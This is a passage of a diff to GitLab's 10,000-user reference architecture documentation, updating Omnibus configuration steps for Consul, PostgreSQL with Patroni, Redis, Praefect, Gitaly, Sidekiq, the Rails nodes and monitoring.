storage(4) | n/a | n/a | n/a | n/a | n/a | +| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | + +<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix --> +<!-- markdownlint-disable MD029 --> +1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery. +2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. +3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work. +4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work. +<!-- markdownlint-enable MD029 --> NOTE: -Components marked with * can be optionally run on reputable -third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work. -Components marked with ** can be optionally run on reputable -third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. +For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices. ```plantuml @startuml 10k @@ -157,7 +162,7 @@ To set up GitLab and its components to accommodate up to 10,000 users: provides access to the Git repositories. 1. [Configure Sidekiq](#configure-sidekiq). 1. [Configure the main GitLab Rails application](#configure-gitlab-rails) - to run Puma/Unicorn, Workhorse, GitLab Shell, and to serve all frontend + to run Puma, Workhorse, GitLab Shell, and to serve all frontend requests (which include UI, API, and Git over HTTP/SSH). 1. [Configure Prometheus](#configure-prometheus) to monitor your GitLab environment. @@ -411,11 +416,6 @@ The following IPs will be used as an example: - `10.6.0.12`: Consul 2 - `10.6.0.13`: Consul 3 -NOTE: -The configuration processes for the other servers in your reference architecture will -use the `/etc/gitlab/gitlab-secrets.json` file from your Consul server to connect -with the other servers. - To configure Consul: 1. SSH in to the server that will host Consul. @@ -426,10 +426,9 @@ To configure Consul: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - roles ['consul_role'] + roles(['consul_role']) ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -446,7 +445,11 @@ To configure Consul: gitlab_rails['auto_migrate'] = false ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Go through the steps again for all the other Consul nodes, and make sure you set up the correct IPs. @@ -538,6 +541,15 @@ in the second step, do not supply the `EXTERNAL_URL` value. sudo gitlab-ctl pg-password-md5 pgbouncer ``` +1. Generate a password hash for the PostgreSQL replication username/password pair. This assumes you will use the default + username of `gitlab_replicator` (recommended). The command will request a password + and a confirmation. Use the value that is output by this command in the next step + as the value of `<postgresql_replication_password_hash>`: + + ```shell + sudo gitlab-ctl pg-password-md5 gitlab_replicator + ``` + 1. Generate a password hash for the Consul database username/password pair. This assumes you will use the default username of `gitlab-consul` (recommended). The command will request a password and confirmation. Use the value that is output by this command in the next @@ -550,19 +562,21 @@ in the second step, do not supply the `EXTERNAL_URL` value. 1. On every database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section: ```ruby - # Disable all components except PostgreSQL, Patroni, and Consul - roles ['postgres_role'] + # Disable all components except Patroni and Consul + roles(['patroni_role']) # PostgreSQL configuration postgresql['listen_address'] = '0.0.0.0' - # Enable Patroni - patroni['enable'] = true - # Set `max_wal_senders` to one more than the number of database nodes in the cluster. + # Sets `max_replication_slots` to double the number of database nodes. + # Patroni uses one extra slot per node when initiating the replication. + patroni['postgresql']['max_replication_slots'] = 8 + + # Set `max_wal_senders` to one more than the number of replication slots in the cluster. # This is used to prevent replication from using up all of the # available database connections. - patroni['postgresql']['max_wal_senders'] = 4 - patroni['postgresql']['max_replication_slots'] = 4 + patroni['postgresql']['max_wal_senders'] = 9 + # Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691. patroni['postgresql']['max_connections'] = 500 @@ -570,7 +584,6 @@ in the second step, do not supply the `EXTERNAL_URL` value. gitlab_rails['auto_migrate'] = false # Configure the Consul agent - consul['enable'] = true consul['services'] = %w(postgresql) ## Enable service discovery for Prometheus consul['monitoring_service_discovery'] = true @@ -580,6 +593,8 @@ in the second step, do not supply the `EXTERNAL_URL` value. # # Replace PGBOUNCER_PASSWORD_HASH with a generated md5 value postgresql['pgbouncer_user_password'] = '<pgbouncer_password_hash>' + # Replace POSTGRESQL_REPLICATION_PASSWORD_HASH with a generated md5 value + postgresql['sql_replication_password'] = '<postgresql_replication_password_hash>' # Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value postgresql['sql_user_password'] = '<postgresql_password_hash>' @@ -603,9 +618,8 @@ PostgreSQL, with Patroni managing its failover, will default to use `pg_rewind` Like most failover handling methods, this has a small chance of leading to data loss. Learn more about the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method). -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. @@ -620,21 +634,7 @@ are supported and can be added if needed. #### PostgreSQL post-configuration -SSH in to the **primary node**: - -1. Open a database prompt: - - ```shell - gitlab-psql -d gitlabhq_production - ``` - -1. Make sure the `pg_trgm` extension is enabled (it might already be): - - ```shell - CREATE EXTENSION pg_trgm; - ``` - -1. Exit the database prompt by typing `\q` and Enter. +SSH in to any of the Patroni nodes on the **primary site**: 1. Check the status of the leader and cluster: @@ -676,7 +676,7 @@ The following IPs will be used as an example: ```ruby # Disable all components except Pgbouncer and Consul agent - roles ['pgbouncer_role'] + roles(['pgbouncer_role']) # Configure PgBouncer pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul) @@ -693,7 +693,6 @@ The following IPs will be used as an example: # Configure Consul agent consul['watchers'] = %w(postgresql) - consul['enable'] = true consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } @@ -705,9 +704,8 @@ The following IPs will be used as an example: node_exporter['listen_address'] = '0.0.0.0:9100' ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. @@ -826,8 +824,8 @@ a node and change its status from primary to replica (and vice versa). 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_master_role' - roles ['redis_master_role'] + # Specify server role as 'redis_master_role' and enable Consul agent + roles(['redis_master_role', 'consul_role']) # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -849,7 +847,6 @@ a node and change its status from primary to replica (and vice versa). redis['maxmemory_samples'] = 5 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -861,19 +858,22 @@ a node and change its status from primary to replica (and vice versa). # Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' + redis_exporter['flags'] = { + 'redis.addr' => 'redis://10.6.0.51:6379', + 'redis.password' => 'redis-password-goes-here', + } # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. You can specify multiple roles, like sentinel and Redis, as: -`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about +`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). #### Configure the replica Redis Cache nodes @@ -886,8 +886,8 @@ You can specify multiple roles, like sentinel and Redis, as: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_replica_role' - roles ['redis_replica_role'] + # Specify server role as 'redis_replica_role' and enable Consul agent + roles(['redis_replica_role', 'consul_role']) # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -916,7 +916,6 @@ You can specify multiple roles, like sentinel and Redis, as: redis['maxmemory_samples'] = 5 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -928,21 +927,24 @@ You can specify multiple roles, like sentinel and Redis, as: # Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' + redis_exporter['flags'] = { + 'redis.addr' => 'redis://10.6.0.52:6379', + 'redis.password' => 'redis-password-goes-here', + } # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Go through the steps again for all the other replica nodes, and make sure to set up the IPs correctly. You can specify multiple roles, like sentinel and Redis, as: -`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about +`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after @@ -984,7 +986,7 @@ To configure the Sentinel Cache server: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - roles ['redis_sentinel_role'] + roles(['redis_sentinel_role', 'consul_role']) ## Must be the same in every sentinel node redis['master_name'] = 'gitlab-redis-cache' @@ -1048,7 +1050,6 @@ To configure the Sentinel Cache server: #sentinel['failover_timeout'] = 60000 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -1065,9 +1066,8 @@ To configure the Sentinel Cache server: gitlab_rails['auto_migrate'] = false ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Go through the steps again for all the other Consul/Sentinel nodes, and @@ -1097,8 +1097,8 @@ a node and change its status from primary to replica (and vice versa). 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_master_role' - roles ['redis_master_role'] + # Specify server role as 'redis_master_role' and enable Consul agent + roles(['redis_master_role', 'consul_role']) # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -1114,7 +1114,6 @@ a node and change its status from primary to replica (and vice versa). redis['password'] = 'REDIS_PRIMARY_PASSWORD_OF_SECOND_CLUSTER' ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -1131,14 +1130,13 @@ a node and change its status from primary to replica (and vice versa). gitlab_rails['auto_migrate'] = false ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. You can specify multiple roles, like sentinel and Redis, as: -`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about +`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). #### Configure the replica Redis Queues nodes @@ -1151,8 +1149,8 @@ You can specify multiple roles, like sentinel and Redis, as: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_replica_role' - roles ['redis_replica_role'] + # Specify server role as 'redis_replica_role' and enable Consul agent + roles(['redis_replica_role', 'consul_role']) # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -1175,7 +1173,6 @@ You can specify multiple roles, like sentinel and Redis, as: #redis['master_port'] = 6379 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -1192,16 +1189,15 @@ You can specify multiple roles, like sentinel and Redis, as: gitlab_rails['auto_migrate'] = false ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Go through the steps again for all the other replica nodes, and make sure to set up the IPs correctly. You can specify multiple roles, like sentinel and Redis, as: -`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about +`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after @@ -1243,7 +1239,7 @@ To configure the Sentinel Queues server: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - roles ['redis_sentinel_role'] + roles(['redis_sentinel_role', 'consul_role']) ## Must be the same in every sentinel node redis['master_name'] = 'gitlab-redis-persistent' @@ -1307,7 +1303,6 @@ To configure the Sentinel Queues server: #sentinel['failover_timeout'] = 60000 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -1324,17 +1319,8 @@ To configure the Sentinel Queues server: gitlab_rails['auto_migrate'] = false ``` -1. To prevent database migrations from running on upgrade, run: - - ```shell - sudo touch /etc/gitlab/skip-auto-reconfigure - ``` - - Only the primary GitLab application server should handle migrations. - -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Go through the steps again for all the other Sentinel nodes, and @@ -1397,9 +1383,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. ```ruby # Disable all components except PostgreSQL and Consul - roles ['postgres_role'] - repmgr['enable'] = false - patroni['enable'] = false + roles(['postgres_role', 'consul_role']) # PostgreSQL configuration postgresql['listen_address'] = '0.0.0.0' @@ -1409,7 +1393,6 @@ in the second step, do not supply the `EXTERNAL_URL` value. gitlab_rails['auto_migrate'] = false # Configure the Consul agent - consul['enable'] = true ## Enable service discovery for Prometheus consul['monitoring_service_discovery'] = true @@ -1435,7 +1418,11 @@ in the second step, do not supply the `EXTERNAL_URL` value. # END user configuration ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Follow the [post configuration](#praefect-postgresql-post-configuration). <div align="right"> @@ -1533,19 +1520,18 @@ To configure the Praefect nodes, on each one: 1. Edit the `/etc/gitlab/gitlab.rb` file to configure Praefect: ```ruby - # Avoid running unnecessary services on the Gitaly server + # Avoid running unnecessary services on the Praefect server + gitaly['enable'] = false postgresql['enable'] = false redis['enable'] = false - nginx['enable'] = false puma['enable'] = false - unicorn['enable'] = false sidekiq['enable'] = false gitlab_workhorse['enable'] = false - grafana['enable'] = false - - # If you run a separate monitoring node you can disable these services - alertmanager['enable'] = false prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false + gitlab_exporter['enable'] = false + nginx['enable'] = false # Praefect Configuration praefect['enable'] = true @@ -1583,19 +1569,20 @@ To configure the Praefect nodes, on each one: # server ('praefect') and in git_data_dirs on Gitaly nodes ('gitaly-1') praefect['virtual_storages'] = { 'default' => { - 'gitaly-1' => { - 'address' => 'tcp://10.6.0.91:8075', - 'token' => '<praefect_internal_token>', - 'primary' => true - }, - 'gitaly-2' => { - 'address' => 'tcp://10.6.0.92:8075', - 'token' => '<praefect_internal_token>' - }, - 'gitaly-3' => { - 'address' => 'tcp://10.6.0.93:8075', - 'token' => '<praefect_internal_token>' - }, + 'nodes' => { + 'gitaly-1' => { + 'address' => 'tcp://10.6.0.91:8075', + 'token' => '<praefect_internal_token>' + }, + 'gitaly-2' => { + 'address' => 'tcp://10.6.0.92:8075', + 'token' => '<praefect_internal_token>' + }, + 'gitaly-3' => { + 'address' => 'tcp://10.6.0.93:8075', + 'token' => '<praefect_internal_token>' + }, + } } } @@ -1612,11 +1599,25 @@ To configure the Praefect nodes, on each one: # END user configuration ``` - 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and - then replace the file of the same name on this server. If that file isn't on - this server, add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. Praefect requires to run some database migrations, much like the main GitLab application. For this + you should select **one Praefect node only to run the migrations**, AKA the _Deploy Node_. This node + must be configured first before the others as follows: + + 1. In the `/etc/gitlab/gitlab.rb` file, change the `praefect['auto_migrate']` setting value from `false` to `true` + + 1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure + ``` + + 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect and + to run the Praefect database migrations. - 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. On all other Praefect nodes, [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. ### Configure Gitaly @@ -1660,21 +1661,17 @@ On each node: storage paths, enable the network listener, and to configure the token: ```ruby - # /etc/gitlab/gitlab.rb - # Avoid running unnecessary services on the Gitaly server postgresql['enable'] = false redis['enable'] = false - nginx['enable'] = false puma['enable'] = false - unicorn['enable'] = false sidekiq['enable'] = false gitlab_workhorse['enable'] = false - grafana['enable'] = false - - # If you run a separate monitoring node you can disable these services - alertmanager['enable'] = false prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false + gitlab_exporter['enable'] = false + nginx['enable'] = false # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false @@ -1682,9 +1679,11 @@ On each node: # Configure the gitlab-shell API callback URL. Without this, `git push` will # fail. This can be your 'front door' GitLab URL or an internal load # balancer. - # Don't forget to copy `/etc/gitlab/gitlab-secrets.json` from web server to Gitaly server. gitlab_rails['internal_api_url'] = 'https://gitlab.example.com' + # Gitaly + gitaly['enable'] = true + # Make Gitaly accept connections on all network interfaces. You must use # firewalls to restrict access to this address/port. # Comment out following line if you only want to support TLS connections @@ -1726,9 +1725,8 @@ On each node: }) ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and - then replace the file of the same name on this server. If that file isn't on - this server, add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -1835,28 +1833,19 @@ To configure the Sidekiq nodes, on each one: 1. Open `/etc/gitlab/gitlab.rb` with your editor: ```ruby - ######################################## - ##### Services Disabled ### - ######################################## - - nginx['enable'] = false - grafana['enable'] = false - prometheus['enable'] = false - alertmanager['enable'] = false + # Avoid running unnecessary services on the Sidekiq server gitaly['enable'] = false - gitlab_workhorse['enable'] = false - nginx['enable'] = false - puma['enable'] = false - postgres_exporter['enable'] = false postgresql['enable'] = false redis['enable'] = false - redis_exporter['enable'] = false + puma['enable'] = false + gitlab_workhorse['enable'] = false + prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false gitlab_exporter['enable'] = false + nginx['enable'] = false - ######################################## - #### Redis ### - ######################################## - + # Redis ## Redis connection details ## First cluster that will host the cache gitlab_rails['redis_cache_instance'] = 'redis://:<REDIS_PRIMARY_PASSWORD_OF_FIRST_CLUSTER>@gitlab-redis-cache' @@ -1888,13 +1877,10 @@ To configure the Sidekiq nodes, on each one: {host: '10.6.0.83', port: 26379}, ] - ####################################### - ### Gitaly ### - ####################################### - - # git_data_dirs get configured for the Praefect virtual storage - # Address is Internal Load Balancer for Praefect - # Token is praefect_external_token + # Gitaly Cluster + ## git_data_dirs get configured for the Praefect virtual storage + ## Address is Internal Load Balancer for Praefect + ## Token is praefect_external_token git_data_dirs({ "default" => { "gitaly_address" => "tcp://10.6.0.40:2305", # internal load balancer IP @@ -1902,20 +1888,17 @@ To configure the Sidekiq nodes, on each one: } }) - ####################################### - ### Postgres ### - ####################################### + # PostgreSQL gitlab_rails['db_host'] = '10.6.0.40' # internal load balancer IP gitlab_rails['db_port'] = 6432 gitlab_rails['db_password'] = '<postgresql_user_password>' gitlab_rails['db_adapter'] = 'postgresql' gitlab_rails['db_encoding'] = 'unicode' - # Prevent database migrations from running on upgrade automatically + ## Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false - ####################################### - ### Sidekiq configuration ### - ####################################### + # Sidekiq + sidekiqp['enable'] = true sidekiq['listen_address'] = "0.0.0.0" # Set number of Sidekiq queue processes to the same number as available CPUs @@ -1924,9 +1907,7 @@ To configure the Sidekiq nodes, on each one: # Set number of Sidekiq threads per queue process to the recommend number of 10 sidekiq['max_concurrency'] = 10 - ####################################### - ### Monitoring configuration ### - ####################################### + # Monitoring consul['enable'] = true consul['monitoring_service_discovery'] = true @@ -1934,18 +1915,15 @@ To configure the Sidekiq nodes, on each one: retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } - # Set the network addresses that the exporters will listen on + ## Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' - # Rails Status for prometheus + ## Add the monitoring node's IP address to the monitoring whitelist gitlab_rails['monitoring_whitelist'] = ['10.6.0.151/32', '127.0.0.0/8'] - ############################# - ### Object storage ### - ############################# - - # This is an example for configuring Object Storage on GCP - # Replace this config with your chosen Object Storage provider as desired + # Object Storage + ## This is an example for configuring Object Storage on GCP + ## Replace this config with your chosen Object Storage provider as desired gitlab_rails['object_store']['connection'] = { 'provider' => 'Google', 'google_project' => '<gcp-project-name>', @@ -1958,11 +1936,26 @@ To configure the Sidekiq nodes, on each one: gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>" gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>" gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>" + + gitlab_rails['backup_upload_connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>" + ``` + +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. + Only a single designated node should handle migrations as detailed in the + [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section. 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. @@ -1993,9 +1986,6 @@ On each node perform the following: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page. -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. 1. Edit `/etc/gitlab/gitlab.rb` and use the following configuration. To maintain uniformity of links across nodes, the `external_url` @@ -2017,7 +2007,7 @@ On each node perform the following: }) ## Disable components that will not be on the GitLab application server - roles ['application_role'] + roles(['application_role']) gitaly['enable'] = false nginx['enable'] = true sidekiq['enable'] = false @@ -2090,9 +2080,15 @@ On each node perform the following: gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>" gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>" gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>" + + gitlab_rails['backup_upload_connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>" ``` -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). 1. If you're using [Gitaly with TLS support](#gitaly-cluster-tls-support), make sure the `git_data_dirs` entry is configured with `tls` instead of `tcp`: @@ -2111,6 +2107,20 @@ On each node perform the following: sudo cp cert.pem /etc/gitlab/trusted-certs/ ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure + ``` + + Only a single designated node should handle migrations as detailed in the + [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section. + +1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. If you're [using NFS](#configure-nfs-optional): 1. If necessary, install the NFS client utility packages using the following commands: @@ -2150,7 +2160,8 @@ On each node perform the following: registry['gid'] = 9002 ``` -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). + 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). + 1. Confirm the node can connect to Gitaly: ```shell @@ -2214,55 +2225,34 @@ To configure the Monitoring node: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page. -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - external_url 'http://gitlab.example.com' + roles(['monitoring_role', 'consul_role']) - # Disable all other services - alertmanager['enable'] = false - gitaly['enable'] = false - gitlab_exporter['enable'] = false - gitlab_workhorse['enable'] = false - nginx['enable'] = true - postgres_exporter['enable'] = false - postgresql['enable'] = false - redis['enable'] = false - redis_exporter['enable'] = false - sidekiq['enable'] = false - puma['enable'] = false - unicorn['enable'] = false - node_exporter['enable'] = false - gitlab_exporter['enable'] = false + external_url 'http://gitlab.example.com' - # Enable Prometheus - prometheus['enable'] = true + # Prometheus prometheus['listen_address'] = '0.0.0.0:9090' prometheus['monitor_kubernetes'] = false - # Enable Login form - grafana['disable_login_form'] = false - - # Enable Grafana - grafana['enable'] = true + # Grafana grafana['admin_password'] = '<grafana_password>' + grafana['disable_login_form'] = false # Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } - # Prevent database migrations from running on upgrade automatically - gitlab_rails['auto_migrate'] = false + # Nginx - For Grafana access + nginx['enable'] = true ``` -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. In the GitLab UI, set `admin/application_settings/metrics_and_profiling` > Metrics - Grafana 